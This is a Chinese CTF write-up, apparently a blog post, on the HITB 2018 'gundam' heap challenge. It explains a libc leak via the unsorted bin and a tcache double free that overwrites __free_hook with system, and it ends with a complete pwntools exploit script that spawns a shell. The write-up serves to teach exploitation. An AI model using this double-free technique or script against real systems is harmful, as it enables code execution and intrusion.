hitb2018_gundam —— tcache double free

hitb2018_gundam —— tcache double free

引入

高达?哪里有高达!

初步分析

题目本身给了libc,版本为2.26,tcache很清楚自己又要被double free了

checksec

保护全开嘤嘤嘤

伪代码分析
unsigned __int64 sub_AEA()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts(&s);
  puts("1 . Build a gundam ");
  puts("2 . Visit gundams ");
  puts("3 . Destory a gundam");
  puts("4 . Blow up the factory");
  puts("5 . Exit");
  puts(&s);
  printf("Your choice : ");
  return __readfsqword(0x28u) ^ v1;
}

​ 一眼堆,增删查功能齐全,没有改,但多了一个Blow up the factory

__int64 sub_B7D()
{
  int v1; // [rsp+0h] [rbp-20h] BYREF
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  void *s; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  s = 0LL;
  buf = 0LL;
  if ( (unsigned int)dword_20208C <= 8 )
  {
    s = malloc(0x28uLL);
    memset(s, 0, 0x28uLL);
    buf = malloc(0x100uLL);
    if ( !buf )
    {
      puts("error !");
      exit(-1);
    }
    printf("The name of gundam :");
    read(0, buf, 0x100uLL);
    *((_QWORD *)s + 1) = buf;
    printf("The type of the gundam :");
    __isoc99_scanf("%d", &v1);
    if ( v1 < 0 || v1 > 2 )
    {
      puts("Invalid.");
      exit(0);
    }
    strcpy((char *)s + 16, &aFreedom[20 * v1]);
    *(_DWORD *)s = 1;
    for ( i = 0; i <= 8; ++i )
    {
      if ( !qword_2020A0[i] )
      {
        qword_2020A0[i] = s;
        break;
      }
    }
    ++dword_20208C;
  }
  return 0LL;
}

​ 看看增,发现malloc了两个chunk,大小分别为0x28,0x100,其中0x100的chunk用来存放gundam的名字,而0x28的chunk存放了gundam的型号,名字chunk的地址,标志位(值为1),推测这三个数据是一个结构体的成员

​ 此处有一个小细节,就是read函数读入输入后,没有填充\x00截断,这意味着我们可能可以利用这一点进行内容的泄露

__int64 sub_EF4()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]

  if ( dword_20208C )
  {
    for ( i = 0; i <= 8; ++i )
    {
      if ( *((_QWORD *)&qword_2020A0 + i) && **((_DWORD **)&qword_2020A0 + i) )
      {
        printf("\nGundam[%u] :%s", i, *(const char **)(*((_QWORD *)&qword_2020A0 + i) + 8LL));
        printf("Type[%u] :%s\n", i, (const char *)(*((_QWORD *)&qword_2020A0 + i) + 16LL));
      }
    }
  }
  else
  {
    puts("No gundam produced!");
  }
  return 0LL;
}

看看查,用的printf输出内容,遇到\x00才截断,可能作为泄露的工具

__int64 sub_D32()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( dword_20208C )
  {
    printf("Which gundam do you want to Destory:");
    __isoc99_scanf("%d", &v1);
    if ( v1 > 8 || !*((_QWORD *)&qword_2020A0 + v1) )
    {
      puts("Invalid choice");
      return 0LL;
    }
    **((_DWORD **)&qword_2020A0 + v1) = 0;
    free(*(void **)(*((_QWORD *)&qword_2020A0 + v1) + 8LL));
  }
  else
  {
    puts("No gundam");
  }
  return 0LL;
}

​ 看看删,先将标志位置0,然后把姓名空间free掉,注意到这里free之后没有更改gundam的数量,而gundam的总数量是有限的,而且也没有free掉0x28的结构体。

unsigned __int64 sub_E22()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  for ( i = 0; i <= 8; ++i )
  {
    if ( qword_2020A0[i] && !*(_DWORD *)qword_2020A0[i] )
    {
      free((void *)qword_2020A0[i]);
      qword_2020A0[i] = 0LL;
      --dword_20208C;
    }
  }
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

看看炸工厂,这里free掉了标志位为0的0x28chunk,同时把gundam的数量修正了

这是在说高达坏了工厂还能再产的意思吗XD

思路分析

总体思路是:利用输出的漏洞泄露地址,然后根据泄露的地址想办法得到libc基址,最后double free tcache任意地址写改掉got表然后get shell

泄露

​ 根据chunk结构,用户空间的首地址在chunk被free之后会写入chunk的bk和fd,如果我们控制输入的长度,并将释放掉的chunk重新申请回来的话,我们就可以在visit的时候,将chunk的bk连同输入一起输出出来

​ 问题是,我们需要一个什么地址呢?

​ tcache与fastbin类似,使用的是单链表的数据结构,bk处不会有地址。

​ 而当tcache填满后(7个chunk),后续free的chunk将进入unsortedbin,而unsortedbin为双链表结构。

在这里插入图片描述

​ 当只有一个chunk在unsortedbin中时,该chunk的bk与fd指针同时指向unsortedbin头节点,即main_arena+88,而main_arena到libc基址的偏移也是一个固定值(0x3dac78),就是说,只要泄露出unsortbin头节点的地址,我们就得到了libc的基址

在这里插入图片描述

​ 所以这里我们只需要在申请到被释放的unsortedbin中的chunk时,输入8字节的数据,然后调用visit就可以泄露出unsortedbin的头节点地址

​ 最后还存在一个问题,free掉chunk的时候,chunk可能会与topchunk合并而非进入各bin中,所以我们需要额外申请一个chunk来把topchunk和后面的chunk隔开

在这里插入图片描述

覆写

​ 为了执行system(/bin/sh),我们需要写入"/bin/sh"字符串,然后覆盖一个函数地址为system函数地址,最后调用该函数并将"/bin/sh"字符串的地址传进去,纵观全局,有什么函数比free()更适合呢?所以我们覆盖libc中__free_hook的地址为system

​ 后续我们需要malloc三次,所以需要先destroy三个gundam让程序的高达计数减三

不准拆我的高达呜呜呜

在这里插入图片描述

然后把最后一个gundam再destroy一次,构造衔尾蛇(bushi)

在这里插入图片描述

然后再申请gundam时,写入 __free_hook的地址 ,此时tcache中chunk1其实并没有被完全申请出来,但是该chunk的fd位已经被改为__free_hook的地址了

在这里插入图片描述

然后再malloc一次,顺便把"/bin/sh"字符串写入,chunk被完全malloc出tcache,但tcache的头节点此时已经指向__free_hook了也就是说可以覆写__free_hook了

最后写入system地址,然后free掉写有"/bin/sh"字符串的chunk,相当于调用sytem(“/bin/sh”),成功get shell

exp

from PwnContext.core import *
from pwn import *
context.log_level = 'debug'

# func
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './gundam'
# ctx.remote = ("challenge-72da0710cae9a987.sandbox.ctfhub.com",21739)
ctx.remote_libc = '/root/pwn/heap/gundam2.26/2.26/64bit/libc.so.6'
ctx.debug_remote_libc = True
ctx.start()
print("****************************************************************************************************")
print(ctx.libc.path)
print("****************************************************************************************************")

def build(name):
	ctx.sendafter("Your choice : ", '1')
	ctx.sendafter("The name of gundam :", name)
	ctx.sendlineafter("The type of the gundam :", '1')
def visit():
	ctx.sendafter("Your choice : ", '2')
def destory(idx):
	ctx.sendafter("Your choice : ", '3')
	ctx.sendlineafter("Which gundam do you want to Destory:", str(idx))
def exit():
	ctx.sendafter("Your choice : ", '5')
def blowup():
	ctx.sendafter("Your choice : ", '4')

elf = ELF('./gundam')
libc = ELF("./libc-2.26.so")

# fill tcache
# block topchunk 
for i in range(9):
	build(b"A"*8) 
for i in range(8):
	destory(i)
blowup()  # clear factory
# dbg("tb *$rebase(0x10e6)")
for i in range(8):
	build(b'C' * 8)

# dbg("b *$rebase(0xEF4)")
# leak
visit()
ru("Gundam[7] :CCCCCCCC")
unsorted_addr = u64(r(6).ljust(8,b"\x00"))
print("***********************" + hex(unsorted_addr))
libc_offset = 0x3dac78
libc_base = unsorted_addr - libc_offset # main_arena_addr
free_hook_addr = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
one_gadget = libc_base + 0x47c46
print(hex(system_addr))
# dbg("b *$rebase(0x10e6)")
# cover
destory(2)
destory(1)
destory(0)
destory(0)

blowup()

build(p64(free_hook_addr))
build(b'/bin/sh\x00')

build(p64(system_addr))
destory(1)
irt()

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值